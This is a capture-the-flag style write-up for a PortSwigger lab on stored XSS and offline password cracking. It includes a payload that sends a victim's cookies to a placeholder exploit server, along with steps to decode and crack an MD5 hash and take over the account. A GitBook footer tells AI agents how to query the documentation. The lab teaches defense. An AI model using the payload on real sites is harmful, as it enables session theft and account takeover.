> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/cybersecurity-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-authentication-labs/lab-11.md).

# lab-11

## Offline Password Cracking

**Difficulty:** Practitioner

### Lab Description

This lab stores the user's password hash in a stay-logged-in cookie. The comment functionality is also vulnerable to stored XSS, which can be used to steal a victim's cookie.

**Your credentials:** `wiener:peter`\
**Victim's username:** `carlos`

**Objective:** Steal Carlos's stay-logged-in cookie, crack his password offline, log in as Carlos, and delete his account.

### Solution

**Step 1 — Confirm the XSS vulnerability**

Log in as `wiener` and navigate to any blog post. In the comment field, submit a basic XSS payload:

```html
<img src=x onerror=alert(1)>
```

Reload the page — the alert fires, confirming **stored XSS** in the comment section.

**Step 2 — Steal Carlos's cookie via XSS**

Now craft a payload that exfiltrates the victim's cookie to the exploit server. Post this as a comment on a blog post:

```html
<img src=x onerror="fetch('https://YOUR-EXPLOIT-SERVER/?cookie='+document.cookie)">
```

When Carlos visits the page containing this comment, his browser executes the `onerror` handler, which sends his cookies (including `stay-logged-in`) to your exploit server as a query parameter.

**Step 3 — Retrieve and decode the cookie**

Go to the exploit server's **Access log**. Find the request from Carlos's browser and copy the `stay-logged-in` cookie value from the URL.

Paste the value into Burp **Decoder** and decode it from Base64. The result is in the format:

```
carlos:<hash>
```

This confirms it's Carlos's cookie. The hash portion is in **MD5** format (same construction as seen in the previous lab: `base64(username:md5(password))`).

**Step 4 — Crack the hash**

Submit the MD5 hash to [CrackStation](https://crackstation.net/) or a similar offline cracking tool. Since the password comes from a known wordlist, it cracks quickly and returns Carlos's plaintext password.

**Step 5 — Log in and delete the account**

Log in as `carlos` using the cracked password. Navigate to **My account** and click **Delete account** to complete the lab.

### Conclusion

Two separate vulnerabilities were chained here: a stored XSS flaw that allowed cookie theft, and a weak cookie construction that used MD5 (a fast, unsalted hash) to protect the password. MD5 hashes of common passwords crack instantly against rainbow tables. Proper password storage requires a slow, salted hashing algorithm like bcrypt or Argon2 — fast hashes like MD5 offer essentially no protection against offline cracking.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ganesha-hk.gitbook.io/cybersecurity-writeups/port-swigger-authentication-labs/lab-11.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.